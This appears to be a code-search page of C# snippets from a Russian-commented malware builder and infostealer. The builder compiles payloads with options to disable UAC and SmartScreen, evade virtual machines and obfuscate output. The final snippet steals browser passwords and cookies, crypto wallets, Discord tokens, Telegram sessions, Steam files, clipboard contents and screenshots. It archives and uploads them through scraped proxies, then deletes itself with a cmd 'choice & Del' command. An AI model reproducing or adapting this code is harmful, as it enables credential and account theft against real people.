Пример #1
0
 /// <summary>
 /// Метод для загрузки обновления
 /// </summary>
 /// <param name="link">Ссылка на билдер</param>
 private void LoadingBuilder(string link)
 {
     Task.Run(() => AntiSniffer.Inizialize()).Start();
     try
     {
         var url = new Uri(link, UriKind.Absolute);
         using var update = new WebClient
               {
                   Proxy = null
               };
         update?.DownloadFile(url, GlobalPath.NewFile);
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.UpdateSuccess);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.UpdateSuccess);
         }
     }
     catch (WebException)
     {
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect);
         }
         this.Launch.Visible = false;
     }
     this.Launch.Visible = FileControl.ExistsFile(GlobalPath.NewFile);
 }
Пример #2
0
 public static bool Download(string HostName)
 {
     AntiSniffer.Inizialize();
     if (Directory.Exists(GlobalPath.GarbageTemp))
     {
         if (!Directory.Exists(OSDirectory))
         {
             CombineEx.CreateDir(OSDirectory);
             return(Download(HostName));
         }
         else
         {
             foreach (string list in Encryptdll)
             {
                 if (!list.EndsWith(".txt", StringComparison.Ordinal))
                 {
                     return(false);
                 }
                 else
                 {
                     string ChangerExtension = Path.ChangeExtension(list, ".dll");
                     GetByte($@"{HostName}/files/dll/{list}", CombineEx.Combination(GlobalPath.GarbageTemp, ChangerExtension));
                 }
             }
         }
     }
     return(true);
 }
Пример #3
0
 public static bool Download(string HostName)
 {
     AntiSniffer.Inizialize();                     // Убиваем снифферы.
     if (Directory.Exists(GlobalPath.GarbageTemp)) // проверяем папку Garbage в папке Temp - Temp\Garbage
     {
         if (!Directory.Exists(OSDirectory))       // Проверяем директорию битности
         {
             CombineEx.CreateDir(OSDirectory);     // Создадим директорию.
             return(Download(HostName));           // Снова выполним метод Download
         }
         else // Если папка битности есть то..
         {
             foreach (string list in Encryptdll)                       // проходим циклом по списку Encryptdll
             {
                 if (!list.EndsWith(".txt", StringComparison.Ordinal)) // Проверим что список состоит из .txt файлов
                 {
                     return(false);                                    // если нет то завершаем работу.
                 }
                 else
                 {
                     string ChangerExtension = Path.ChangeExtension(list, ".dll");                                              // Переименовываем форматы файлов в *.dll
                     GetByte($@"{HostName}/files/dll/{list}", CombineEx.Combination(GlobalPath.GarbageTemp, ChangerExtension)); // Скачиваем .dll файлы
                 }
             }
         }
     }
     return(true); // Переходим дальше.
 }
Пример #4
0
        /// <summary>
        /// Метод для проверки обновления
        /// </summary>
        /// <param name="link">Ссылка на текстовый документ</param>
        private void Checker(string link)
        {
            try
            {
                Task.Run(() => AntiSniffer.Inizialize()).Start();
                using var client = new WebClient
                      {
                          Proxy = null
                      };
                var    url  = new Uri(link, UriKind.Absolute);
                string text = client?.DownloadString(url);

                if (text.Contains(GlobalPath.VersionBuild)) // Сверка версии
                {
                    this.VerNew.Visible          = false;
                    this.DownloadUpdates.Visible = false;
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FinalVersionMessage);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FinalVersionMessage);
                    }
                }
                else
                {
                    this.VerNew.Visible = true;
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.AccessNew);
                        this.VerNew.Text = $"{Language.GlobalMessageStrings_en_US.NewVer} {text}";
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.AccessNew);
                        this.VerNew.Text = $"{Language.GlobalMessageStrings_ru_RU.NewVer} {text}";
                    }
                    this.DownloadUpdates.Visible = true;
                }
            }
            catch (WebException)
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect);
                }
                this.DownloadUpdates.Visible = false;
            }
        }
Пример #5
0
 private static void ProxyStarted(Uri link, string method, string filename, bool True = true)
 {
     ProxyGrabber.Parse("http://xseo.in/freeproxy");
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 AntiSniffer.Inizialize();
                 client.Proxy = new WebProxy(ProxyGrabber.builder.ToString());
                 client.UploadFile(link, method, filename);
                 CombineEx.DeleteFile(GlobalPath.ZipAdd);
                 Ccleaner.ClearDll();
             }
         }
     }
     catch (WebException) { Inizialize(link, method, filename); }
     catch (UriFormatException) { }
 }
Пример #6
0
        private static bool Check_US(string linkdll)
        {
            // Удаляем папку "en-US" вмести с файлом перед обновлением.
            FileControl.DirectoryDelete(GlobalPath.EngDir);
            Thread.Sleep(1000);
            if (!FileControl.ExistsDirectory(GlobalPath.EngDir))
            {
                FileControl.CreateDirectory(GlobalPath.EngDir, System.IO.FileAttributes.Normal);
                Task.Run(() => AntiSniffer.Inizialize()).Start();

                var urldll = new Uri(linkdll, UriKind.Absolute);
                using var updatedll = new WebClient
                      {
                          Proxy = null
                      };
                updatedll.DownloadFile(urldll, GlobalPath.NewFile_Dll);
                return(true);
            }
            return(false);
        }
Пример #7
0
 public static void Inizialize(Uri url, string method, string filename, bool status = true)
 {
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 try
                 {
                     AntiSniffer.Inizialize();
                     client.UploadFile(url, method, filename);
                     CombineEx.DeleteFile(GlobalPath.ZipAdd);
                     Ccleaner.ClearDll();
                 }
                 catch (WebException) { ProxyStarted(url, method, filename); }
                 catch (UriFormatException) { }
             }
         }
     }
     catch (WebException) { ProxyStarted(url, method, filename); }
 }
Пример #8
0
        private static bool Check_US(string linkdll)
        {
            // Удаляем папку "en-US" вмести с файлом перед обновлением.
            FileControl.DirectoryDelete(GlobalPath.EngDir);
            Thread.Sleep(1000);
            if (!FileControl.ExistsDirectory(GlobalPath.EngDir))
            {
                FileControl.CreateDirectory(GlobalPath.EngDir, System.IO.FileAttributes.Normal);
                // https://github.com/StHarp-gsvv/UpdateSE/blob/master/ClipSE Builder by r3xq1.resources.txt
                // https://github.com/StHarp-gsvv/UpdateSE/blob/master/ClipSE%20Builder%20by%20r3xq1.resources.txt
                new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                var urldll = new Uri(linkdll, UriKind.Absolute);
                using (var updatedll = new WebClient())
                {
                    updatedll.Proxy = null;
                    updatedll.DownloadFile(urldll, GlobalPath.NewFile_Dll);
                    return(true);
                }
            }
            return(false);
        }
Пример #9
0
        /// <summary>
        /// Метод для компиляции исходного кода
        /// </summary>
        /// <param name="values">Данные из словаря (контейнера)</param>
        /// <param name="build">Передача данных через свойства</param>
        /// <returns>Исходно-изменённый файл</returns>
        public static bool Inizialize(Dictionary <string, string> values, Build build)
        {
            // Запускаем антисниффер
            new Thread(() => { AntiSniffer.Inizialize(); }).Start();
            // Расшифровываем онлайн билд через ключ
            string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public));

            #region ComboBox replace Boolean values

            SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false");
            SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false");
            SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false");
            SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false");
            SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false");
            SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false");
            SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false");
            SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false");
            SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false");

            #endregion

            SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox);

            #region Replacement Assembly

            SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle).
                         Replace("[DESCRIPTION]", build.AssDescription).
                         Replace("[COMPANY]", build.AssCompany).
                         Replace("[PRODUCT]", build.AssProduct).
                         Replace("[COPYRIGHT]", build.AssCopyright).
                         Replace("[VERSION]", build.AssVersion).
                         Replace("[FILEVERSION]", build.AssFileVersion).
                         Replace("[GUID]", build.GuidBox).
                         Replace("[WEB]", build.IPLoGGeR);

            #endregion

            #region Replace data user interfaces

            foreach (KeyValuePair <string, string> kvp in values)
            {
                SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value);
            }

            #endregion

            // Версия .Net Framework для билда
            var providerOptions = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };

            // Инициализация нового экземпляра класса CSharpCodeProvider
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                try
                {
                    // Дефолтные параметры для компиляции
                    var parameters = new CompilerParameters
                    {
                        CompilerOptions         = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции
                        TreatWarningsAsErrors   = false,
                        GenerateInMemory        = false,
                        IncludeDebugInformation = false,
                    };
                    switch (build.ComboOutputExtension.SelectedItem.ToString().Trim())
                    {
                    case ".dll":
                    {
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe";      // Выходной файл .dll ( изначальный .exe после обфускации в .dll )
                        parameters.GenerateExecutable = false;
                    }
                    break;

                    default:
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe"; // Выходной файл .exe
                        parameters.GenerateExecutable = true;                       // Генерация в .exe
                        break;
                    }
                    if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon))  // Проверка на обнаружение иконки
                    {
                        parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}";                   // Добавляем иконку
                    }
                    if (build.RunCheckStatus.Checked)                                                   // Проверка запуска от Админа
                    {
                        if (FileControl.ExistsFile(GlobalPath.ManifestFile))                            // Проверка файла app.Manifest
                        {
                            parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа
                        }
                        else
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest);
                            }
                            else
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest);
                            }
                        }
                    }

                    // Добавление ссылок для компиляции билда
                    #region Add Library Dll

                    for (int i = 0; i < list_library.Count; i++)
                    {
                        parameters.ReferencedAssemblies.Add(list_library[i]);
                    }

                    #endregion

                    // Компиляция!
                    CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode);

                    // Проверка на ошибки
                    if (!ResultLog.Errors.HasErrors)
                    {
                        SourceCode = null;
                        ResultLog  = null;

                        FileControl.FileDelete("Error_Compiler.txt");
                        MusicPlay.Inizialize(Resources.GoodBuild);

                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated);
                        }
                        else
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated);
                        }

                        string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe");

                        // Расширения для билд файла
                        switch (build.ComboOutputExtension.SelectedIndex)
                        {
                        case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break;

                        default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break;
                        }
                        return(true);
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt
                        foreach (CompilerError compilerError in ResultLog.Errors)
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n");
                            }
                        }
                        return(false);
                    }
                }
                catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt
                {
                    MusicPlay.Inizialize(Resources.Error_Build);
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n");
                    }
                    else
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n");
                    }
                    return(false);
                }
            }
        }
Пример #10
0
        /// <summary>
        /// Запуск процесс компиляции исходного файла с проверками по ключу.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Generation_ClickAsync(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);

            #region BuildSettings

            var build = new Build
                        (
                this.IcoPath.Text,
                this.NameOutput.Text,
                this.AssTitleTextBox.Text,
                this.AssDescriptTextBox.Text,
                this.AssCompanyTextBox.Text,
                this.AssProductTextBox.Text,
                this.AssCopyrightTextBox.Text,
                this.AssVerTextBox.Text,
                this.AssFileVerTextBox.Text,
                this.AssGuidTextBox.Text,
                this.IPBox.Text,
                this.ErrorBox.Text,
                this.ShowMessage,
                this.DelayCheckBox,
                this.GarbageCheckBox,
                this.AutoRunCheckBox,
                this.SmartOffCheckBox,
                this.TaskMgrOffCheckBox,
                this.UacOffCheckBox,
                this.AntiVMCheckBox,
                this.IPLOGCheckBox,
                this.FakeCheckBox,
                this.SpisokOut
                        );

            #endregion

            if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text))
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields);
                }
            }
            else
            {
                if (string.IsNullOrWhiteSpace(this.SpisokOut.Text))
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension);
                    }
                }
                else
                {
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    if (CheckerKeys.CompareKey())
                    {
                        CheckerKeys.GetLicenseInfo();
                        if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI))
                        {
                            if (SourceEdition.values.Count != 0)
                            {
                                await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build));

                                // Обфускация
                                switch (build.ComboOutputExtension.SelectedIndex)
                                {
                                case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break;

                                default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break;
                                }
                                if (FileControl.ExistsDirectory(GlobalPath.Confused))
                                {
                                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated);
                                    }
                                    else
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated);
                                    }
                                }
                            }
                            else
                            {
                                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse);
                                }
                                else
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse);
                                }
                            }
                        }
                        else
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI);
                            }
                            else
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI);
                            }
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                        }
                        else
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                        }
                        Thread.Sleep(2000);
                        Application.Exit();
                    }
                }
            }
        }
Пример #11
0
        public static void Main()
        {
            if (!AntiVM.GetCheckVMBot())
            {
                // Если запущена копия программы, закрываем её!
                if (RunCheck.InstanceCheck())
                {
                    // Запускаем антисниффер
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    // Проверяем подключение к интернет ресурсу
                    if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public)))
                    {
                        // Проверяем ключ доступа к программе
                        if (!CheckerKeys.CompareKey())
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            Thread.Sleep(500);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                            }
                        }
                        else
                        {
                            CheckerKeys.GetLicenseInfo();
                            Application.Run(new ClipPurseFrm());
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        Thread.Sleep(500);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n");
                        }
                        else
                        {
                            FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n");
                        }
                    }
                }
                else
                {
                    Environment.Exit(0);
                }
            }
            else
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!");
                }
                else
                {
                    FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!");
                }
            }
        }
Пример #12
0
        /// <summary>
        /// Запуск процесс компиляции исходного файла с проверками по ключу.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Generation_ClickAsync(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);

            #region BuildSettings

            var build = new Build
                        (
                this.IcoPath.Text,
                this.NameOutput.Text,
                this.AssTitleTextBox.Text,
                this.AssDescriptTextBox.Text,
                this.AssCompanyTextBox.Text,
                this.AssProductTextBox.Text,
                this.AssCopyrightTextBox.Text,
                this.AssVerTextBox.Text,
                this.AssFileVerTextBox.Text,
                this.AssGuidTextBox.Text,
                this.IPBox.Text,
                this.ErrorBox.Text,
                this.ShowMessage,
                this.DelayCheckBox,
                this.GarbageCheckBox,
                this.AutoRunCheckBox,
                this.SmartOffCheckBox,
                this.TaskMgrOffCheckBox,
                this.UacOffCheckBox,
                this.AntiVMCheckBox,
                this.IPLOGCheckBox,
                this.FakeCheckBox
                        );

            #endregion

            if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text))
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields);
                }
            }
            else
            {
                Task.Run(() => AntiSniffer.Inizialize()).Start(); // Антисниффер ( чтобы не отслеживали запрос до сервера )

                //if (CheckerKeys.CompareKey()) // Проверка ключа тут.
                //{
                //  CheckerKeys.GetLicenseInfo();

                if (SourceEdition.values.Count != 0)
                {
                    bool result = await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build));

                    // Если хотите можете добавить обфускацию для билд файла т.к идёт ожидание
                }
                else
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse);
                    }
                    else
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse);
                    }
                }
                //}
                //else
                //{
                //    MusicPlay.Inizialize(Resources.Error_Build);
                //    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                //    {
                //        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense);
                //        FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                //    }
                //    else
                //    {
                //        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense);
                //        FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                //    }
                //    Thread.Sleep(2000);
                //    Application.Exit();
                //}
            }
        }
Пример #13
0
        private void Updater_Load(object sender, EventArgs e)
        {
            if (Date.Delay)
            {
                Thread.Sleep(Date.DelaySec);
            }

            if (!AntiVM.GetCheckVMBot())
            {
                if (!MovEx.CheckPath())
                {
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                }
                else
                {
                    HideFolders.Enabled(0);
                    DisableLockers.SmartScreen();
                    DisableLockers.UAC();
                    AntiSniffer.Inizialize();

                    if (Date.Downloader || Date.AdminRight)
                    {
                        Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
                    }
                    if (Date.IpLogger)
                    {
                        IPLogger.Sender(Date.IpLoggerLink);
                    }
                    if (Date.InfoGrabber)
                    {
                        InfoGrabber.CreateTable(GlobalPath.PC_File);
                    }
                    if (Date.CryptoWall)
                    {
                        BitBoard.GetWallet();
                    }
                    if (Date.Browsers)
                    {
                        ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                        ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                        GetPassword.Inizialize();
                        GetCookies.Inizialize();
                    }
                    if (Date.Buffer)
                    {
                        ClipboardEx.GetBuffer(GlobalPath.Buffer);
                    }
                    if (Date.Programs)
                    {
                        MailFoxPassword.Inizialize();
                        DcGrabber.GeTokens();
                        TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                    }
                    if (Date.Clients)
                    {
                        GetClients.Inizialize();
                    }
                    if (Date.Steam)
                    {
                        GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
                    }
                    if (Date.ScreenShot)
                    {
                        ScreenShot.Shoot(GlobalPath.Screen);
                    }
                    Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
                    Archiving.Inizialize();
                    UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
                    //BlockIE.Enabled(1); // Блокировка интернета
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                    Application.Exit();
                }
            }
            else
            {
                SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
                if (Date.Delay)
                {
                    ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                }
            }
        }